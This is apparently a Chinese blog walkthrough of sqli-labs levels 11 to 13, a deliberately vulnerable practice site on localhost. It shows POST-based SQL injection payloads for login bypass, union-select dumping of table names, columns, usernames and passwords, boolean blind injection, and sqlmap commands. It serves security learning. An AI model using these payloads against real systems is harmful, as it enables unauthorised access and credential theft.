sqli-lab平台注入练习十一,十二,十三

Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)

从11题开始要新的篇章了,这里的注入方式改为了POST注入。

我们首先先应用前10题的一个解题思路来解决这道题,构建注入的语句。
用“”万能密码“来构造,
尝试登陆,发现能行
sqli-lab平台注入练习十一,十二,十三_第1张图片

之后开始进行数据库的爆破:
Username:

' union select database(),6 --+

Password:

'

sqli-lab平台注入练习十一,十二,十三_第2张图片

成功显示数据库的名字:
sqli-lab平台注入练习十一,十二,十三_第3张图片
之后再按照前几题学会的爆破流程进行,可以看到所爆破出来的表名:
Username:

' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),6 --+

Password:

'

sqli-lab平台注入练习十一,十二,十三_第4张图片
获取表中内容:

Username:

' union select (select group_concat(username) from security.users),6 --+

Password:

'

sqli-lab平台注入练习十一,十二,十三_第5张图片

可以看到成功获取用户名和密码内容。

再通过这道题学会使用两个工具

一.学会使用HackBar

首先利用hackbar看到这里对我们有用的有两个POST提交字段 uname和passwd.

sqli-lab平台注入练习十一,十二,十三_第6张图片

之后在面板里进行,来个永真的
sqli-lab平台注入练习十一,十二,十三_第7张图片

登陆成功:
sqli-lab平台注入练习十一,十二,十三_第8张图片
这里需要注意一点,对于两个参数同时构建函数,要注意and语句的优先级是高于or的,具体的可以看这篇文章,这里对登陆语句过程解释的很详细:
https://blog.csdn.net/u012763794/article/details/51361152(通过sqli-labs学习sql注入)

之后进行数据库的爆破:
(因为看到了上面那篇文章,所以我学会了尽量用后面这个字段来进行爆破)

uname=test &passwd=test' or length(database())=8 #

可以登录,获得数据库长度为8

获取数据表名:

uname=test &passwd=test' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),6 #

sqli-lab平台注入练习十一,十二,十三_第9张图片
在里面找到需要的users表,进行列名爆破:

uname=test &passwd=test' union select (select group_concat(column_name) from information_schema.columns where table_name='users'),6 #

获得列名:
sqli-lab平台注入练习十一,十二,十三_第10张图片
获得列之中的内容:

uname=test &passwd=test' union select (select group_concat(username,0x7e,password) from users),6 #

在这里插入图片描述

二.用burp来进行抓包分析

但在这里我遇上了一个困难…
我用的火狐的浏览器,设置127.0.0.1的代理后怎么也抓不到同为127.0.0.1网址的sqli-labs平台的内容…
已经添加了证书,并且网站中没有不能抓本地包的限制…
希望各位大佬知道怎么解决的可以告诉我…

12.Less-12 POST - Error Based - Double quotes- String-with twist (基于错误的双引号POST型字符型变形的注入)

尝试注入的语句的形式,
发现尝试到双引号时,系统会有如下错误的提示信息:可以看到原语句应该有)什么的

sqli-lab平台注入练习十一,十二,十三_第11张图片
尝试绕过:

uname=123 &passwd=aaa") or 1=1 #

sqli-lab平台注入练习十一,十二,十三_第12张图片
之后再像上面的方法进行爆破即可

Less-13 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)

我们构造一个万能语句,发现可以注入成功,但没有回显,说明这又是一个盲注

sqli-lab平台注入练习十一,十二,十三_第13张图片

运用布尔型的盲注来判断:
首先判断数据库长度:
然后判断数据库名字:

uname=123 &passwd=aaa')  or left((select database()),8)='security' #

可以看到注入成功,网页显示成功

sqli-lab平台注入练习十一,十二,十三_第14张图片


剩下的翻看前面的几关吧

第十三关,我们运用SQLmap跑一下:

爆破库名:

C:\Python27\sqlmapproject-sqlmap-c8a4e63>python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-13/?id=1" --data "uname=123&passwd=')or('1')" --dbs

–data:后面可以加上数据段(GET/POST均可)
–threads:最大并发线程,盲注时每个线程获取一个字符(注不要超过10)

sqli-lab平台注入练习十一,十二,十三_第15张图片

或者两个字段均设置注入

C:\Python27\sqlmapproject-sqlmap-c8a4e63>python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-13/?id=1" --data "uname=')or('1')=('1&passwd=')or('1')=('1"   --dbs --threads 7

之后操作同前。

你可能感兴趣的:(Web安全sqli-lab)